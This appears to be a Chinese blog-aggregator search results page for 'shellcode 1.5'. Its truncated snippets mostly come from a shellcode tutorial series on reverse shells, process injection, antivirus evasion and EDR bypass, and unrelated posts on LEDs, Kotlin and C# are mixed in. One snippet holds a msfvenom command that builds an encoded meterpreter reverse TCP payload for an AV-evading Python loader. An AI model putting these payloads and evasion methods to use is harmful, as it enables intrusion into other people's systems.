shellcode 1.5
1.5 为x64dbg编写插件
任何一个成熟的软件都会具有可扩展性，可扩展性是现代软件的一个重要特征，因为它使软件更易于维护和适应变化的需求，`x64dbg`也不例外其可通过开发插件的方式扩展其自身功能，`x64dbg`提供了多种插件接口，包括脚本插件、DLL插件、Python插件和.NET插件等。此外，`x64dbg`还支持用户... ......
python加载shellcode免杀
1、第一个shellcode加载器 import ctypes # msf生成的shellcode，命令：msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost=192.168.111.111 lp ......
【OpenJudge】NOI / 1.5编程基础之循环控制
25:求特殊自然数 总时间限制: 1000ms 内存限制: 65536kB描述 一个十进制自然数,它的七进制与九进制表示都是三位数，且七进制与九进制的三位数码表示顺序正好相反。编程求此自然数,并输出显示。 输入无。输出三行：第一行是此自然数的十进制表示；第二行是此自然数的七进制表示；第三行是此自然数 ......
arm32_shellcode
arm32_shellcode 题目文件 build.sh #!/bin/bash arm-linux-gnueabi-gcc -g -static -Iinclude -o chal chal.c libcapstone.a chal.c #include <stdio.h> #include < ......
AnnotationTransactionAttributeSource is only available on Java 1.5 and higher和windows同时安装jdk7和jdk8
AnnotationTransactionAttributeSource is only available on Java 1.5 and higher和windows同时安装jdk7和jdk8 出错原因： 因为spring core org.springframework.core.JdkVer ......
LED灯降压恒流驱动芯片5~60v输出1.5A大电流AP51656
AP51656是一款连续电感电流导通模式的降压恒流源，用于驱动一颗或多颗串联LED输入电压范围从 5 V 到 60V，输出电流 最大可达 1.5A 。根据不同的输入电压和外部器件， 可以驱动高达数十瓦的 LED。 内置功率开关，采用高端电流采样设置LED 平均电流，通过 DIM 引脚可以接受模拟调光... ......
1.14 手工插入ShellCode反弹
PE格式是 Windows下最常用的可执行文件格式,理解PE文件格式不仅可以了解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,而有些技术必须建立在了解PE文件格式的基础上,如文件加密与解密,病毒分析,外挂技术等，本次的目标是手工修改或增加节区，并给特定可执行程序插入一段`S... ......
密码协议学习笔记(1.5):几种常用的非对称密码体系
RSA密码体系: RSA密码体系是一种依赖于依赖于大数质因数分解的难解性的密码体系. RSA加密算法: 参与者: 私钥持有者Alice 公钥持有者Bob 运行步骤: Alice选取两个大质数$p,q$(需要使用Miller-Rabin算法判定其是否为质数),计算$n=pq$,其欧拉函数$\phi(n ......
1.12 进程注入ShellCode套接字
在笔者前几篇文章中我们一直在探讨如何利用`Metasploit`这个渗透工具生成`ShellCode`以及如何将ShellCode注入到特定进程内，本章我们将自己实现一个正向`ShellCode`Shell，当进程被注入后，则我们可以通过利用NC等工具连接到被注入进程内，并以对方的权限及身份执行命令... ......
1.10 内存ShellCode注入与格式化
ShellCode 的格式化与注入功能在实战应用中也尤为重要，格式化`Shellcode`是指将其转换为可执行的二进制格式，使其能够在内存中运行。注入`Shellcode`是指将格式化的`Shellcode`注入到另一个进程的内存中，以便在该进程中执行，此类功能也可算作`ShellCode`技术的延... ......
1.9 动态解密ShellCode反弹
动态解密执行技术可以对抗杀软的磁盘特征查杀。其原理是将程序代码段中的代码进行加密，然后将加密后的代码回写到原始位置。当程序运行时，将动态解密加密代码，并将解密后的代码回写到原始位置，从而实现内存加载。这种技术可以有效地规避杀软的特征码查杀，因为加密后的代码通常不会被标记为恶意代码。 ......
Spec 1.5
`EGLContext` is an opaque type representing a client API context. The definition of contexts depends on the client API, but usually represents the sta ......
1.7 完善自定位ShellCode
在之前的文章中，我们实现了一个正向的匿名管道`ShellCode`后门，为了保证文章的简洁易懂并没有增加针对调用函数的动态定位功能，此类方法在更换系统后则由于地址变化导致我们的后门无法正常使用，接下来将实现通过PEB获取`GetProcAddrees`函数地址，并根据该函数实现所需其他函数的地址自定... ......
1.8 运用C编写ShellCode代码
在笔者前几篇文章中，我们使用汇编语言并通过自定位的方法实现了一个简单的`MessageBox`弹窗功能，但由于汇编语言过于繁琐在编写效率上不仅要考验开发者的底层功底，还需要写出更多的指令集，这对于普通人来说是非常困难的，当然除了通过汇编来实现`ShellCode`的编写以外，使用C同样可以实现编写，... ......
1.5 编写自定位ShellCode弹窗
在笔者上一篇文章中简单的介绍了如何运用汇编语言编写一段弹窗代码，虽然简易`ShellCode`可以被正常执行，但却存在很多问题，由于采用了硬编址的方式来调用相应API函数的，那么就会存在一个很大的缺陷，如果操作系统的版本不统或系统重启过，那么基址将会发生变化，此时如果再次调用基址参数则会调用失败，本... ......
1.6 编写双管道ShellCode
本文将介绍如何将`CMD`绑定到双向管道上，这是一种常用的黑客反弹技巧，可以让用户在命令行界面下与其他程序进行交互，我们将从创建管道、启动进程、传输数据等方面对这个功能进行详细讲解。此外，本文还将通过使用汇编语言一步步来实现这个可被注入的`ShellCode`后门，并以此提高代码通用性。最终，我们将... ......
1.4 编写简易ShellCode弹窗
在前面的章节中相信读者已经学会了使用`Metasploit`工具生成自己的`ShellCode`代码片段了，本章将继续深入探索关于`ShellCode`的相关知识体系，ShellCode 通常是指一个原始的可执行代码的有效载荷，攻击者通常会使用这段代码来获得被攻陷系统上的交互Shell的访问权限，而... ......
关于安装Ambari 2.7.5 + HDP3.1.5
参考文档安装Ambari 2.7.5 + HDP3.1.5（附安装包）_ambari安装包下载_不饿同学的博客-CSDN博客 关于第11点，在浏览器输入http://hostname显示不了，要使用该hostname-ip才可以显示 关于14，没找到maven-3.8.2而是使用了maven-3.8 ......
C# 学习笔记 - 1.5 - 控制流
# 控制流 条件语句、迭代语句、跳转语句和异常处理语句控制程序的执行流。 - 条件语句使用关键字 if, switch 来决定执行某些语句 - 迭代语句使用关键字 do, while, for, foreach 和 in 创建一个循环 - 跳转语句使用关键字 break, continue, ret ......
1.5 填报功能入门
# 一、填报功能 ## 1. 概述 ### 1.1 功能简介 - 将页面数据写入到数据库，包括数据的增加、删除和修改操作。 - 支持对数据的自定义校验，excel导入数据，根据填写值智能联动。 ### 1.2 预期效果 1）新增数据 填报预览时，选中某一行数据，点击「增加记录」按钮，在这行数据后面新 ......
C++11新特性——1.4-1.5 final和override
1.4 final 原文：https://subingwen.cn/cpp/final/ 总结： 1. final 限制某个类不能被继承，或限制某个虚函数不能被重写 2. final 修饰 虚函数 或者 类 3. final 关键字写到 虚函数 或 类 后面 class Base { public: ......
玄 - 利用DLL通知回调函数注入shellcode（上）
## 序 偶然看到某国外大佬发布新技术-“Threadless”进程注入技术，据说可过EDR（确实可），总结该技术原理 - 在远程目标进程中利用DLL通知回调机制执行shellcode，项目地址[在这里](https://github.com/ShorSec/DllNotificationInjec ......
x64ShellCode-通过PEB获取模块地址.
以x64dbg.exe调试x64dbg.exe为例. 汇编代码为如下. ``` mov rax, qword ptr gs:[0x0000000000000060] mov rax, qword ptr ds:[rax+0x10] ``` 二进制硬编码如下 ``` "\x65\x48\x8B\x04 ......
记一次Android项目升级Kotlin版本(1.5 -> 1.7)
原文地址: [记一次Android项目升级Kotlin版本(1.5 -> 1.7) - Stars-One的杂货小窝](https://stars-one.site/2023/08/12/android-project-kotin-version-up) 由于自己的历史项目Kotlin版本比较老了, ......
心动了！iPhone 15 Pro超窄边框感受下：1.5mm破历史纪录 “跑马框”再见
综合目前已知爆料来看，iPhone 15系列将有7大升级。其中一个比较明显的直观变化是，新款iPhone全系边框都会更窄。iPhone 15 Pro、Pro Max的边框宽度仅为1.55mm，破历史记录。 那到底有多窄呢？仅说数据不够直观。9to5mac通过获得的CAD数据（得到过名记Mark Gu ......
24.vector的增加删除都是怎么做的？为什么是1.5或者是2倍？
# 24.vector的增加删除都是怎么做的？为什么是1.5或者是2倍？ size()函数返回的是已用空间大小，capacity()返回的是总空间大小，capacity()-size()则是剩余的可用空间大小。当size()和capacity()相等，说明vector目前的空间已被用完，如果再添加新 ......
maven刷新后jdk版本变化为1.5的问题
解决方式： <properties> <java.version>1.8</java.version> <maven.compiler.source>1.8</maven.compiler.source> <maven.compiler.target>1.8</maven.compiler.targ ......
ret2shellcode
# ret2shellcode ## 介绍 shellcode的意思其实就是能获取到shell的code，以前还疑惑为什么要交shellcode。 ## 解题 1、先查看附件信息 使用` checksec ret2shellcode`可以查看到ret2shellcode的信息；发现是32位的小端序， ......
windows下shellcode注入的例子（WriteProcessMemory+CreateRemoteThread）
vs里x64编译如下代码： #include <iostream> #include <Windows.h> // #include "common.h" int main() { // msfvenom -p windows/x64/exec CMD=notepad.exe -f c unsign ......